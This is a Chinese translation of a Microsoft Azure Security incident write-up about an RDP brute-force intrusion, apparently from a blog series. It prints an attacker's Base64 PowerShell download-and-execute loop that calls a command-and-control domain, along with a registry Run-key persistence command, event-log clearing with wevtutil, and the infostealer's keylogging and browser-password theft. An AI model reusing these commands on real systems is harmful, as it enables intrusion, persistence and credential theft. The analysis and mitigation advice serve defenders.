撰 /Greg Cottingham, Cloud Security Investigations & Intelligence - Microsoft Azure Security
為了紀念國家網絡安全意識月(NCSAM),我們在這系列發布了一個新帖子,重點介紹 Azure 安全中心檢測、調查和緩解的實際攻擊。 這篇文章是關於使用 PowerShell 運行惡意代碼,並收集用戶憑證的攻擊。 但在我們開始之前,以下是系列中的其他貼文的回顧,其中安全中心檢測到:
在這篇文章中,我們將介紹另一個有趣的現實攻擊場景,這個場景被 Azure 安全中心發現並由我們的團隊調查。受影響的公司名稱、所有計算機名稱和所有用戶名都已更改以保護隱私。 這種特殊攻擊採用 PowerShell 來運行內存中的惡意代碼,目的是通過密碼竊取,按鍵記錄,剪貼板抓取和屏幕捕獲來收集憑證信息。我們將列出以 RDP Force 攻擊開始、並導致在註冊表中設置和配置持續的自動啟動(ASEP)。本案例研究提供了有關攻擊動態的深入見解,以及如何檢測和防止您的環境中發生類似攻擊的建議。
初始 Azure 安全中心警報和詳細信息
只要互聯網連接的計算機遠程管理已經存在,黑客就會繼續努力發現遠程桌面協議(RDP)等遠程管理服務,以便他們可以通過強力攻擊破解密碼。 我們的案例從客戶的 Azure 安全中心控制台開始,提醒 RDP 暴力活動以及可疑的 PowerShell 活動。
在下面的Azure安全中心屏幕截圖中,您可以跟踪從下到上的按時間順序進展,因為“失敗的RDP暴力攻擊”警報之後是一個“成功的RDP暴力攻擊”警報 - 表示有人通過RDP 猜到了用戶密碼。 這個惡意的 Brute Force 登錄隨後會出現幾個關於異常 PowerShell 活動的警報。
在我們研究初始成功的 RDP 暴力攻擊警報時,我們會看到攻擊時間、受攻擊的帳戶、嘗試發起攻擊的IP地址(在我們案例中為意大利)以及與 Microsoft Threat Intel 的“ RDP暴力強迫“報告連結。
成功登錄後,當我們深入到高級嚴重性警報頁面時,Azure 安全中心會按時間順序顯示攻擊者成功登錄後發起的每個命令行:
攻擊者活動的最初妥協和細節
通過警報提供的信息,我們的調查團隊與客戶合作,檢查從攻擊者初次登錄,獲取帳戶登錄日誌(事件ID 4624)進程創建日誌(事件ID 4688)。 從最早的登錄數據中,我們看到使用各種用戶名和密碼組合的連續 RDP 強力嘗試。 其中大多數失敗嘗試導致事件 ID 4625(一個帳戶登錄失敗),狀態碼為 0xc000006d(嘗試登錄無效),並且 Substatus 代碼 0xc0000064(指定的帳戶不存在)。
09-06 年的上午 10 點 13 分左右,我們開始看到 Substatus 代碼的變化。 我們現在看到使用者用戶名“ContosoAdmin”呈現不同的狀態代碼:0xc000006a(密碼錯誤)。 隨後使用帳戶“ContosoAdmin”成功登錄類型 3 並輸入 10 (遠程交互)登錄。 登錄似乎源自意大利的 IP 地址(188.125.100.233)。
在登錄後查看進程創建活動。 攻擊者首先發出“whoami”命令,顯示當前登錄用戶的身份。 然後,他們使用網絡組“Domain Admins”/ domain命令列出“Domain Admins”組的成員。 緊接著顯示所有遠程桌面服務會話的“qwinsta”命令。 然後啟動 Taskmgr(Windows任務管理器)以查看或管理進程和服務。
大約一分鐘後,另一個 PowerShell 命令被執行。 這個命令與 Base64 編碼的字符串混淆,這些字符串被額外包裹在 Deflate 壓縮算法中。
注意:我們將深入研究此命令的作用,因為我們稍後會在此文章中解碼 Base64。
大約3分鐘後,攻擊者登出機器。 但在註銷之前,他們會嘗試通過清除所有事件日誌來清理其軌跡。 這是通過內置的 wevtutil.exe(Windows事件命令行實用程序)完成的。 首先,使用“el”或“enum-logs”開關枚舉所有事件日誌。 然後使用“cl”或“clear-log”開關清除所有事件日誌。 以下是攻擊者發起的事件清除命令的一部分。
仔細看看 Base64 編碼的 PowerShell 命令
從攻擊者的初始命令中解碼編碼的 Base64 部分,可以看到更多的 Base64 編碼命令,這些命令顯示:
嵌套的 Base64 混淆。
所有級別的命令執行都會被混淆。
創建一個僅限註冊表的 ASEP(自動啟動擴展點)作為持久性機制。
惡意代碼參數存儲在註冊表中。
由於 ASEP 和參數只在系統註冊表中,所以命令執行發生在“內存中”,沒有文件或 NTFS 工件。
這是攻擊者發出的初始命令:
解碼 Base64 揭示註冊條目和更多的 Base64 字符串解碼...
解碼這些嵌套的Base64值,我們確定該命令執行以下操作:
- 該命令首先儲存參數信息,以供後續命令從 HKLM Software Microsoft Windows CurrentVersion 之下名為“SeCert”的註冊表位置讀取。
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion]
"SeCert"="dwBoAGkAbABlACgAMQApAHsAdAByAHkAewBJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALg
BEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBkAG0AcwBlAHIAdgBlAHIAcwAuAGMAbwBtAC8AJwArACgAWwBjAGgAYQBy
AF0AKAA4ADUALQAoAC0AMwA3ACkAKQApACkAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADAAfQB9AA=="
- 上述註冊表中的 Base64 值解碼為來自惡意 C2(命令和控制)域(mdmservers [.] com)的下載指令。
while(1){try{IEX(New-Object Net.WebClient).DownloadString('hxxp[:]//mdmservers[.]com/'+([char](85-(-37))))}catch{Start-Sleep -s 10}}
- 然後,攻擊者的指令通過名為“SophosMSHTA”的註冊表 ASEP(自動啟動擴展點)在“HKLM Software Microsoft Windows CurrentVersion Run”項下創建一個永久性的機制。
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
<s
pan style="color: #c95151;">"SophosMSHTA"="mshta vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -c ""$x=$((gp HKLM:Software\Microsoft\Windows\CurrentVersion SeCert).SeCert);powershell -E $x""",0,True)(window.close)"
- 註冊表的持久性能確保每次啟動或重啟時計算機時都會執行惡意指令。
- 註冊表 ASEP 啟動 Microsoft 腳本引擎(mshta.exe)。
- 反過來,Mshta.exe 運行 PowerShell.exe,然後讀取並解碼 HKLM SOFTWARE Microsoft Windows CurrentVersion - >“SeCert”的值。
- SeCert 的註冊表值告訴 PowerShel 從 'hxxp [:] // mdmservers [.] com' 下載並啟動惡意腳本。
惡意程式碼的下載與執行
一旦攻擊者設置了持久性機制並註銷,主機的下一次重啟就會啟動 PowerShell,從'hxxp [:] // mdmservers [.] com' 下載並啟動惡意的負載。 這個惡意腳本包含執行特定功能的各個部分。 下表詳細說明了惡意負載的主要功能:
操作
清除剪貼板中的內容並將輸出保存到以下位置:
%TEMP% Applnsights_VisualStudio.txt
捕獲所有按鍵到以下位置:
%TEMP% key.log
進行初始屏幕截圖並將.jpg保存到以下位置:
%TEMP%39F28DD9-0677-4EAC-91B8-2112B1515341 yyyymmdd_hhmmss.jpg
當鍵入某些財務或帳戶憑證相關關鍵字時,隨後進行屏幕截圖,並將.jpg保存到以下位置:
%TEMP%39F28DD9-0677-4EAC-91B8-2112B1515341 yyyymmdd_hhmmss.jpg
檢查是否安裝了Google Chrome瀏覽器。 如果是這樣,請收集Chrome緩存中的所有密碼並保存到以下位置:
%TEMP% Chrome.log
檢查是否安裝了Mozilla Firefox瀏覽器。 如果是這樣,收集來自Firefox緩存的所有密碼並保存到以下位置:
%TEMP% Firefox.log
總結來說
那麼,讓我們總結一下我們到現在為止在調查中看到的情況:
- 當成功的 RDP Brute Force 攻擊中管理員帳戶遭到入侵時,會發生於初始入口。
- 攻擊者然後執行一個 Base64 混淆的 PowerShell 指令,該命令設置在啟動時啟動的註冊表ASEP。
- 然後,攻擊者通過使用以下命令刪除所有事件日誌來清除其活動的證據:wevtutil.exe -cl <eventlogname>。
- 受影響的主機啟動或重啟時,它會在HKLM SOFTWARE Microsoft Windows CurrentVersion Run 中啟動惡意註冊表 ASEP
- 註冊表 ASEP 啟動 Microsoft 腳本引擎(mshta.exe)。
- 反過來,Mshta.exe 運行 PowerShell.exe,然後讀取並解碼 HKLM SOFTWARE Microsoft Windows CurrentVersion的值 - >“SeCert”
- “SeCert” 的註冊表值告訴 PowerShell 從'hxxp [:] // mdmservers [.] com' 下載並啟動惡意腳本“
- 然後,來自hxxp [:] // mdmservers [.] com的惡意代碼將執行以下操作:
- 將剪貼板中的內容剪切到:%temp% Applnsights_VisualStudio.txt
- 截獲所有按鍵:%temp% key.log
- 進行初始屏幕截圖並將 .jpg 保存到:%temp% 39F28DD9-0677-4EAC-91B8-2112B1515341 yyyymmdd_hhmmss.jpg
- 在鍵入某些財務或帳戶憑證相關關鍵字時進行後續屏幕截圖,並將.jpg保存到以下位置:%temp% 39F28DD9-0677-4EAC-91B8-2112B1515341 yyyymmdd_hhmmss.jpg
- 檢查是否安裝了Google Chrome 瀏覽器。 如果是,請收集 Chrome 緩存中的所有密碼並保存到:%temp% Chrome.log
- 檢查是否安裝了Mozilla Firefox 瀏覽器。 如果是這樣,收集 Firefox 緩存中的所有密碼並保存到:%temp% Firefox.log
這種攻擊的結果是來自一種信息竊取的惡意軟件,它從註冊表自動啟動,在內存中運行,並收集按鍵、瀏覽器密碼、剪貼板數據和截圖。
Azure Security Center 安全中心如何將它一網打盡
很明顯,攻擊者通過特殊手段隱藏了他們的活動;確保使用內置 Windows 可執行文件(PowerShell.exe,Mshta.exe,Wevtutil.exe)的所有進程執行,使用混淆並存儲在註冊表中的命令參數,以及刪除所有事件日誌以清除其跟踪。但是,這一努力並未阻止 Azure 安全中心檢測,收集和報告此惡意活動。
正如我們在本博客開始時所看到的,Azure 安全中心檢測到此攻擊的所有階段,提供了最初的RDP Brute Force 攻擊的詳細信息,並揭示了攻擊者發布的各個階段的所有命令。您還會在Alerts 中註意到,在攻擊的每個階段,所有混淆的命令行都被破譯,解碼並以明文顯示。這種寶貴且節省時間的信息有助於安全響應調查人員和系統管理員回答“發生了什麼?”、“這是什麼時候發生的?”、“他們是怎麼進來的?”、“他們進來時做了什麼?”、 “他們從哪裡來?”等問題。此外,調查人員還可以確定組織中的其他主機是否可能通過此受損主機的橫向移動而受到威脅。能夠看到這次攻擊的大局,也可以幫助回答動機問題,比如“他們之後要的是什麼?”在我們的案例中,主要目的似乎是憑藉竊取金錢或智力的目標。
在我們的所有調查中,Azure 安全中心在幫助確定關鍵細節(如初始入侵/入侵向量、攻擊源、可能的橫向移動以及攻擊範圍)方面發揮了關鍵作用。安全中心還詳細介紹了由於文件系統覆蓋或日誌保留/存儲限製而可能隨時間丟失的工件。 Azure 安全中心利用最新的機器學習和大數據分析功能,可以從各種來源獲取、存儲、分析和破譯數據,這對安全分析師、事件響應者和律師等專業人員都是非常寶貴的資源。
- 密碼策略:攻擊者通常使用廣泛可用的工具發動暴力攻擊,這些工具利用詞表和智能規則集智能地自動猜測用戶密碼。所以,第一步是確保為所有虛擬機使用複雜的密碼。一個複雜的密碼策略應該實施頻繁的密碼更改。詳細了解執行密碼策略的最佳做法。
- 端點:端點允許從互聯網與您的虛擬機進行通信。在 Azure 環境中創建虛擬機時,默認會創建兩個端點來幫助管理虛擬機,遠程桌面和 PowerShell。建議刪除不需要的任何端點,並只在需要時添加它們。如果您打開了端點,建議您盡可能更改使用的公共端口。創建新的 Windows VM 時,默認情況下遠程桌面的公共端口設置為“自動”,這意味著隨機公共端口將自動為您生成。在此獲取有關如何在 Azure 中的傳統 Windows 虛擬機上設置端點的更多信息。
- 啟用網絡安全組:Azure安全中心建議您啟用網絡安全組(NSG)(如果尚未啟用)。 NSG 包含訪問控制列表(ACL)規則的列表,允許或拒絕到虛擬網絡中的 VM 實例的網絡流量。端點 ACL 允許您控制要允許通過該管理協議訪問的地址的哪個 IP 地址或 CIDR 子網。了解有關如何使用網絡安全組過濾網絡流量以及在 Azure 安全中心中啟用網絡安全組的更多信息。
- 使用 VPN 進行管理:VPN 網關是一種虛擬網絡網關,通過公共連接將加密流量發送到本地位置。您還可以使用VPN網關通過Microsoft網絡在Azure虛擬網絡之間發送加密流量。要在您的Azure虛擬網絡和本地站點之間發送加密的網絡流量,您必須為您的虛擬網絡創建一個 VPN 網關。站點到站點和點對點站點網關連接允許我們完全刪除公共端點並通過安全VPN 連接直接連接到虛擬機。
- 網絡級身份驗證(NLA):可以在主機上使用 NLA,以允許從域身份驗證用戶創建遠程桌面會話。由於 NLA 要求連接用戶在與服務器建立會話之前進行身份驗證,所以 Brute Force,Dictionary Attacks和密碼猜測攻擊可以得到緩解。
- 準時(JIT)網絡訪問:準時Azure安全中心中的虛擬機(VM)訪問可用於幫助保護和鎖定到Azure虛擬機的入站流量。 JIT網絡訪問可以通過限制端口打開的時間來減少暴力攻擊,從而減少攻擊風險,同時在需要時提供連接到虛擬機的簡便訪問。
其餘資源
PowerShell 團隊已經完成了大量工作,使 PowerShell 成為最安全、透明的腳本語言。以下鏈接詳細討論如何解決 PowerShell 問題:
- https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
- https://www.youtube.com/watch?v=ZkJ64_tQxPU
- https://twitter.com/Lee_Holmes/status/922462821081694208
- https://blogs.msdn.microsoft.com/powershell/2017/10/23/defending-against-powershell-attacks/
有關惡意腳本及其輸出的更多信息,請參見以下內容:
- 一個最有趣的PowerShell特洛伊木馬[@JohnLaTwC提供的PowerShell示例和Raw Paste數據]
- Windows Defender 惡意軟件百科全書條目:間諜軟件:PowerShell / Tripelog
了解有關 Azure 安全中心的更多信息,請參閱以下內容:
- Azure 安全中心的檢測功能
- 在 Azure 安全中心中管理和響應安全警報
- 管理 Azure 安全中心中的安全建議
- Azure 安全中心中的安全健康監控
- 使用 Azure 安全中心監控合作夥伴解決方案
- Azure 安全中心常見問題
- 通過閱讀 Azure 安全部落格獲取最新的 Azure 安全新聞和信息。